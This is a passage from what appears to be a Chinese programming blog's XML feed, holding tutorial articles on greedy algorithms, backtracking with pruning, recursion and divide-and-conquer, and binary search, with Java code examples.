class="operator">=</span> <span class="number">0</span>, cookie = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (child &lt; g.length &amp;&amp; cookie &lt; s.length) &#123;</span><br><span class="line">        <span class="keyword">if</span> (s[cookie] &gt;= g[child]) &#123;</span><br><span class="line">            child++;</span><br><span class="line">        &#125;</span><br><span class="line">        cookie++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> child;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-5-区间覆盖"><a href="#3-5-区间覆盖" class="headerlink" title="3.5 区间覆盖"></a>3.5 区间覆盖</h3><p>选择最少点覆盖所有区间：每次选择当前区间的右端点。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findMinArrowShots</span><span class="params">(<span class="type">int</span>[][] points)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (points.length == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    Arrays.sort(points, (a, b) -&gt; Integer.compare(a[<span class="number">1</span>], b[<span class="number">1</span>]));</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">arrows</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">pos</span> <span class="operator">=</span> points[<span class="number">0</span>][<span class="number">1</span>];</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; points.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (points[i][<span class="number">0</span>] &gt; pos) &#123;</span><br><span class="line">            arrows++;</span><br><span class="line">            pos = points[i][<span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> arrows;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、何时不能用贪心"><a href="#四、何时不能用贪心" class="headerlink" title="四、何时不能用贪心"></a>四、何时不能用贪心</h2><h3 id="4-1-0-1背包问题"><a href="#4-1-0-1背包问题" class="headerlink" title="4.1 0/1背包问题"></a>4.1 0/1背包问题</h3><p>贪心按价值/重量比选择，不一定最优。必须用动态规划。</p><h3 id="4-2-判断方法"><a href="#4-2-判断方法" class="headerlink" title="4.2 判断方法"></a>4.2 判断方法</h3><p>尝试构造反例，如果能找到贪心失败的情况，则不能用贪心。</p><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>贪心算法的核心是<strong>证明贪心选择的正确性</strong>。常用方法包括反证法、归纳法和交换论证。贪心适用的问题通常具有”无后效性”和”局部最优即全局最优”的特性。当不确定时，先用小例子验证贪心策略是否总是正确。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 贪心 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>回溯算法与剪枝优化</title>
      <link href="//backtracking-pruning/"/>
      <url>//backtracking-pruning/</url>
      
        <content type="html"><![CDATA[<h2 id="一、回溯算法概述"><a href="#一、回溯算法概述" class="headerlink" title="一、回溯算法概述"></a>一、回溯算法概述</h2><h3 id="1-1-什么是回溯"><a href="#1-1-什么是回溯" class="headerlink" title="1.1 什么是回溯"></a>1.1 什么是回溯</h3><p>回溯是一种<strong>暴力搜索</strong>算法，通过DFS遍历所有可能的解，在发现当前路径不可能得到解时<strong>回退</strong>到上一步。</p><h3 id="1-2-核心思想"><a href="#1-2-核心思想" class="headerlink" title="1.2 核心思想"></a>1.2 核心思想</h3><ul><li><strong>探索</strong>：尝试当前选择</li><li><strong>递归</strong>：继续下一步</li><li><strong>回溯</strong>：撤销选择，尝试其他可能</li></ul><h3 id="1-3-适用场景"><a href="#1-3-适用场景" class="headerlink" title="1.3 适用场景"></a>1.3 适用场景</h3><ul><li>组合问题</li><li>排列问题</li><li>子集问题</li><li>棋盘问题（N皇后）</li><li>搜索问题（迷宫）</li></ul><h2 id="二、回溯算法框架"><a href="#二、回溯算法框架" class="headerlink" title="二、回溯算法框架"></a>二、回溯算法框架</h2><h3 id="2-1-通用模板"><a href="#2-1-通用模板" class="headerlink" title="2.1 通用模板"></a>2.1 通用模板</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(路径, 选择列表)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (满足结束条件) &#123;</span><br><span class="line">        result.add(路径);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (选择 : 选择列表) &#123;</span><br><span class="line">        <span class="keyword">if</span> (剪枝条件) <span class="keyword">continue</span>;  <span class="comment">// 剪枝</span></span><br><span class="line">        </span><br><span class="line">        做选择;</span><br><span class="line">        backtrack(路径, 选择列表);</span><br><span class="line">        撤销选择;  <span class="comment">// 回溯</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-2-关键要素"><a href="#2-2-关键要素" class="headerlink" title="2.2 关键要素"></a>2.2 关键要素</h3><ol><li><strong>路径</strong>：已做的选择</li><li><strong>选择列表</strong>：当前可选的选项</li><li><strong>结束条件</strong>：何时停止递归</li><li><strong>状态恢复</strong>：回溯时撤销选择</li></ol><h2 id="三、经典问题"><a href="#三、经典问题" class="headerlink" title="三、经典问题"></a>三、经典问题</h2><h3 id="3-1-全排列"><a href="#3-1-全排列" class="headerlink" title="3.1 全排列"></a>3.1 全排列</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;List&lt;Integer&gt;&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> List&lt;List&lt;Integer&gt;&gt; <span class="title function_">permute</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    backtrack(nums, <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(), <span class="keyword">new</span> <span class="title class_">boolean</span>[nums.length]);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(<span class="type">int</span>[] nums, List&lt;Integer&gt; path, <span class="type">boolean</span>[] used)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (path.size() == nums.length) &#123;</span><br><span class="line">        result.add(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(path));</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (used[i]) <span class="keyword">continue</span>;</span><br><span class="line">        </span><br><span class="line">        used[i] = <span class="literal">true</span>;</span><br><span class="line">        path.add(nums[i]);</span><br><span class="line">        backtrack(nums, path, used);</span><br><span class="line">        path.remove(path.size() - <span class="number">1</span>);</span><br><span class="line">        used[i] = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-子集"><a href="#3-2-子集" class="headerlink" title="3.2 子集"></a>3.2 子集</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;List&lt;Integer&gt;&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> List&lt;List&lt;Integer&gt;&gt; <span class="title function_">subsets</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    backtrack(nums, <span class="number">0</span>, <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;());</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> start, List&lt;Integer&gt; path)</span> &#123;</span><br><span class="line">    result.add(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(path));</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> start; i &lt; nums.length; i++) &#123;</span><br><span class="line">        path.add(nums[i]);</span><br><span class="line">        backtrack(nums, i + <span class="number">1</span>, path);</span><br><span class="line">        path.remove(path.size() - <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-N皇后"><a href="#3-3-N皇后" class="headerlink" title="3.3 N皇后"></a>3.3 N皇后</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;List&lt;String&gt;&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> List&lt;List&lt;String&gt;&gt; <span class="title function_">solveNQueens</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="type">char</span>[][] board = <span class="keyword">new</span> <span class="title class_">char</span>[n][n];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span>[] row : board) Arrays.fill(row, <span class="string">&#x27;.&#x27;</span>);</span><br><span class="line">    backtrack(board, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(<span class="type">char</span>[][] board, <span class="type">int</span> row)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (row == board.length) &#123;</span><br><span class="line">        result.add(construct(board));</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">col</span> <span class="operator">=</span> <span class="number">0</span>; col &lt; board.length; col++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!isValid(board, row, col)) <span class="keyword">continue</span>;</span><br><span class="line">        </span><br><span class="line">        board[row][col] = <span class="string">&#x27;Q&#x27;</span>;</span><br><span class="line">        backtrack(board, row + <span class="number">1</span>);</span><br><span class="line">        board[row][col] = <span class="string">&#x27;.&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(<span class="type">char</span>[][] board, <span class="type">int</span> row, <span class="type">int</span> col)</span> &#123;</span><br><span class="line">    <span class="comment">// 检查列</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; row; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (board[i][col] == <span class="string">&#x27;Q&#x27;</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 检查左上对角线</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> row - <span class="number">1</span>, j = col - <span class="number">1</span>; i &gt;= <span class="number">0</span> &amp;&amp; j &gt;= <span class="number">0</span>; i--, j--) &#123;</span><br><span class="line">        <span class="keyword">if</span> (board[i][j] == <span class="string">&#x27;Q&#x27;</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 检查右上对角线</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> row - <span class="number">1</span>, j = col + <span class="number">1</span>; i &gt;= <span class="number">0</span> &amp;&amp; j &lt; board.length; i--, j++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (board[i][j] == <span class="string">&#x27;Q&#x27;</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、剪枝优化"><a href="#四、剪枝优化" class="headerlink" title="四、剪枝优化"></a>四、剪枝优化</h2><h3 id="4-1-什么是剪枝"><a href="#4-1-什么是剪枝" class="headerlink" title="4.1 什么是剪枝"></a>4.1 什么是剪枝</h3><p>在搜索过程中提前判断某条路径不可能得到解，直接跳过。</p><h3 id="4-2-常见剪枝策略"><a href="#4-2-常见剪枝策略" class="headerlink" title="4.2 常见剪枝策略"></a>4.2 常见剪枝策略</h3><ol><li><strong>可行性剪枝</strong>：当前选择不满足约束</li><li><strong>最优性剪枝</strong>：当前路径不可能比已知解更优</li><li><strong>对称性剪枝</strong>：避免搜索等价状态</li><li><strong>记忆化</strong>：记录已搜索状态</li></ol><h3 id="4-3-组合总和剪枝示例"><a href="#4-3-组合总和剪枝示例" class="headerlink" title="4.3 组合总和剪枝示例"></a>4.3 组合总和剪枝示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(<span class="type">int</span>[] candidates, <span class="type">int</span> target, <span class="type">int</span> start, List&lt;Integer&gt; path)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (target == <span class="number">0</span>) &#123;</span><br><span class="line">        result.add(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(path));</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> start; i &lt; candidates.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (candidates[i] &gt; target) <span class="keyword">break</span>;  <span class="comment">// 剪枝：已排序，后面的更大</span></span><br><span class="line">        </span><br><span class="line">        path.add(candidates[i]);</span><br><span class="line">        backtrack(candidates, target - candidates[i], i, path);</span><br><span class="line">        path.remove(path.size() - <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-4-排列去重剪枝"><a href="#4-4-排列去重剪枝" class="headerlink" title="4.4 排列去重剪枝"></a>4.4 排列去重剪枝</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">backtrack</span><span class="params">(<span class="type">int</span>[] nums, List&lt;Integer&gt; path, <span class="type">boolean</span>[] used)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (path.size() == nums.length) &#123;</span><br><span class="line">        result.add(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(path));</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (used[i]) <span class="keyword">continue</span>;</span><br><span class="line">        <span class="comment">// 剪枝：相同元素，只取第一个未使用的</span></span><br><span class="line">        <span class="keyword">if</span> (i &gt; <span class="number">0</span> &amp;&amp; nums[i] == nums[i-<span class="number">1</span>] &amp;&amp; !used[i-<span class="number">1</span>]) <span class="keyword">continue</span>;</span><br><span class="line">        </span><br><span class="line">        used[i] = <span class="literal">true</span>;</span><br><span class="line">        path.add(nums[i]);</span><br><span class="line">        backtrack(nums, path, used);</span><br><span class="line">        path.remove(path.size() - <span class="number">1</span>);</span><br><span class="line">        used[i] = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>回溯算法 = DFS + 状态恢复。掌握通用框架后，关键是识别问题类型（排列/组合/子集）和设计剪枝策略。好的剪枝可以指数级减少搜索空间，是回溯算法的核心优化手段。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> DFS </tag>
            
            <tag> 回溯 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>递归与分治算法思想</title>
      <link href="//recursion-divide-conquer/"/>
      <url>//recursion-divide-conquer/</url>
      
        <content type="html"><![CDATA[<h2 id="一、递归的本质"><a href="#一、递归的本质" class="headerlink" title="一、递归的本质"></a>一、递归的本质</h2><h3 id="1-1-什么是递归"><a href="#1-1-什么是递归" class="headerlink" title="1.1 什么是递归"></a>1.1 什么是递归</h3><p>函数调用自身，将大问题分解为相似的子问题。</p><h3 id="1-2-递归三要素"><a href="#1-2-递归三要素" class="headerlink" title="1.2 递归三要素"></a>1.2 递归三要素</h3><ol><li><strong>终止条件</strong>：何时停止递归</li><li><strong>递归关系</strong>：问题如何分解为子问题</li><li><strong>返回值</strong>：子问题的解如何组合</li></ol><h3 id="1-3-递归的执行过程"><a href="#1-3-递归的执行过程" class="headerlink" title="1.3 递归的执行过程"></a>1.3 递归的执行过程</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">f(n) → f(n-1) → f(n-2) → ... → f(1) → 返回</span><br><span class="line">   ↑        ↑         ↑              ↑</span><br><span class="line">  组合    组合      组合           基础解</span><br></pre></td></tr></table></figure><h2 id="二、递归的数学基础"><a href="#二、递归的数学基础" class="headerlink" title="二、递归的数学基础"></a>二、递归的数学基础</h2><h3 id="2-1-递推关系"><a href="#2-1-递推关系" class="headerlink" title="2.1 递推关系"></a>2.1 递推关系</h3><p>[ T(n) = a \cdot T(n/b) + f(n) ]</p><h3 id="2-2-主定理-Master-Theorem"><a href="#2-2-主定理-Master-Theorem" class="headerlink" title="2.2 主定理(Master Theorem)"></a>2.2 主定理(Master Theorem)</h3><p>用于分析分治算法的时间复杂度：</p><p>若 ( T(n) = aT(n/b) + O(n^d) )</p><p>[ T(n) = \begin{cases} O(n^d) &amp; \text{if } d &gt; \log_b a \ O(n^d \log n) &amp; \text{if } d = \log_b a \ O(n^{\log_b a}) &amp; \text{if } d &lt; \log_b a \end{cases} ]</p><h3 id="2-3-应用示例"><a href="#2-3-应用示例" class="headerlink" title="2.3 应用示例"></a>2.3 应用示例</h3><ul><li>归并排序：( T(n) = 2T(n/2) + O(n) )，( a=2, b=2, d=1 )，( T(n) = O(n \log n) )</li><li>二分查找：( T(n) = T(n/2) + O(1) )，( T(n) = O(\log n) )</li></ul><h2 id="三、递归-vs-迭代"><a href="#三、递归-vs-迭代" class="headerlink" title="三、递归 vs 迭代"></a>三、递归 vs 迭代</h2><table><thead><tr><th>特性</th><th>递归</th><th>迭代</th></tr></thead><tbody><tr><td>代码</td><td>简洁</td><td>可能较复杂</td></tr><tr><td>空间</td><td>栈空间 ( O(n) )</td><td>常数或自定义</td></tr><tr><td>效率</td><td>有函数调用开销</td><td>通常更快</td></tr><tr><td>适用</td><td>树、分治、回溯</td><td>线性遍历</td></tr></tbody></table><h3 id="3-1-尾递归优化"><a href="#3-1-尾递归优化" class="headerlink" title="3.1 尾递归优化"></a>3.1 尾递归优化</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 普通递归</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">factorial</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> n * factorial(n - <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 尾递归</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">factorialTail</span><span class="params">(<span class="type">int</span> n, <span class="type">int</span> acc)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> acc;</span><br><span class="line">    <span class="keyword">return</span> factorialTail(n - <span class="number">1</span>, n * acc);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>尾递归可被编译器优化为迭代，避免栈溢出。</p><h2 id="四、分治算法框架"><a href="#四、分治算法框架" class="headerlink" title="四、分治算法框架"></a>四、分治算法框架</h2><h3 id="4-1-通用模板"><a href="#4-1-通用模板" class="headerlink" title="4.1 通用模板"></a>4.1 通用模板</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Result <span class="title function_">divideAndConquer</span><span class="params">(Problem problem)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (problem is small enough) &#123;</span><br><span class="line">        <span class="keyword">return</span> solveDirectly(problem);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 分解</span></span><br><span class="line">    List&lt;Problem&gt; subProblems = divide(problem);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 解决</span></span><br><span class="line">    List&lt;Result&gt; subResults = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (Problem sub : subProblems) &#123;</span><br><span class="line">        subResults.add(divideAndConquer(sub));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 合并</span></span><br><span class="line">    <span class="keyword">return</span> merge(subResults);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、经典分治问题"><a href="#五、经典分治问题" class="headerlink" title="五、经典分治问题"></a>五、经典分治问题</h2><h3 id="5-1-归并排序"><a href="#5-1-归并排序" class="headerlink" title="5.1 归并排序"></a>5.1 归并排序</h3><p>已在前文详述，分治三步：分、排序、合并。</p><h3 id="5-2-快速排序"><a href="#5-2-快速排序" class="headerlink" title="5.2 快速排序"></a>5.2 快速排序</h3><p>分治三步：选pivot、分区、递归排序。</p><h3 id="5-3-求数组中的最大子数组和"><a href="#5-3-求数组中的最大子数组和" class="headerlink" title="5.3 求数组中的最大子数组和"></a>5.3 求数组中的最大子数组和</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxSubArray</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> maxSubArray(nums, <span class="number">0</span>, nums.length - <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">maxSubArray</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left == right) <span class="keyword">return</span> nums[left];</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">leftMax</span> <span class="operator">=</span> maxSubArray(nums, left, mid);</span><br><span class="line">    <span class="type">int</span> <span class="variable">rightMax</span> <span class="operator">=</span> maxSubArray(nums, mid + <span class="number">1</span>, right);</span><br><span class="line">    <span class="type">int</span> <span class="variable">crossMax</span> <span class="operator">=</span> maxCrossingSum(nums, left, mid, right);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> Math.max(Math.max(leftMax, rightMax), crossMax);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">maxCrossingSum</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> left, <span class="type">int</span> mid, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0</span>, leftSum = Integer.MIN_VALUE;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> mid; i &gt;= left; i--) &#123;</span><br><span class="line">        sum += nums[i];</span><br><span class="line">        leftSum = Math.max(leftSum, sum);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    sum = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">rightSum</span> <span class="operator">=</span> Integer.MIN_VALUE;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> mid + <span class="number">1</span>; i &lt;= right; i++) &#123;</span><br><span class="line">        sum += nums[i];</span><br><span class="line">        rightSum = Math.max(rightSum, sum);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> leftSum + rightSum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>( O(n \log n) )，优化后可用动态规划做到 ( O(n) )。</p><h2 id="六、递归常见问题"><a href="#六、递归常见问题" class="headerlink" title="六、递归常见问题"></a>六、递归常见问题</h2><h3 id="6-1-栈溢出"><a href="#6-1-栈溢出" class="headerlink" title="6.1 栈溢出"></a>6.1 栈溢出</h3><p>递归深度过大导致StackOverflowError。</p><ul><li>解决：转换为迭代，或增加栈大小</li></ul><h3 id="6-2-重复计算"><a href="#6-2-重复计算" class="headerlink" title="6.2 重复计算"></a>6.2 重复计算</h3><p>斐波那契递归存在大量重叠子问题。</p><ul><li>解决：<strong>记忆化搜索</strong>或<strong>动态规划</strong></li></ul><h3 id="6-3-记忆化搜索"><a href="#6-3-记忆化搜索" class="headerlink" title="6.3 记忆化搜索"></a>6.3 记忆化搜索</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[] memo;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">fib</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="keyword">if</span> (memo[n] != <span class="number">0</span>) <span class="keyword">return</span> memo[n];</span><br><span class="line">    memo[n] = fib(n - <span class="number">1</span>) + fib(n - <span class="number">2</span>);</span><br><span class="line">    <span class="keyword">return</span> memo[n];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><p>递归是算法的核心思想之一，分治是其最重要的应用。理解递归的数学基础（递推关系、主定理），掌握分治的三步框架（分解-解决-合并），能够系统化解决复杂问题。对于存在重叠子问题的递归，记忆化搜索是优化关键。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 递归 </tag>
            
            <tag> 分治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找与变形问题</title>
      <link href="//binary-search-variants/"/>
      <url>//binary-search-variants/</url>
      
        <content type="html"><![CDATA[<h2 id="一、标准二分查找"><a href="#一、标准二分查找" class="headerlink" title="一、标准二分查找"></a>一、标准二分查找</h2><h3 id="1-1-前提条件"><a href="#1-1-前提条件" class="headerlink" title="1.1 前提条件"></a>1.1 前提条件</h3><ul><li>数组<strong>有序</strong></li><li>支持<strong>随机访问</strong></li></ul><h3 id="1-2-标准实现"><a href="#1-2-标准实现" class="headerlink" title="1.2 标准实现"></a>1.2 标准实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = arr.length - <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (arr[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-3-防溢出"><a href="#1-3-防溢出" class="headerlink" title="1.3 防溢出"></a>1.3 防溢出</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不推荐</span></span><br><span class="line"><span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> (left + right) / <span class="number">2</span>;  <span class="comment">// 可能溢出</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 推荐</span></span><br><span class="line"><span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line"><span class="comment">// 或</span></span><br><span class="line"><span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> (left + right) &gt;&gt;&gt; <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h2 id="二、查找边界"><a href="#二、查找边界" class="headerlink" title="二、查找边界"></a>二、查找边界</h2><h3 id="2-1-查找第一个等于target的位置"><a href="#2-1-查找第一个等于target的位置" class="headerlink" title="2.1 查找第一个等于target的位置"></a>2.1 查找第一个等于target的位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findFirst</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target)</span> 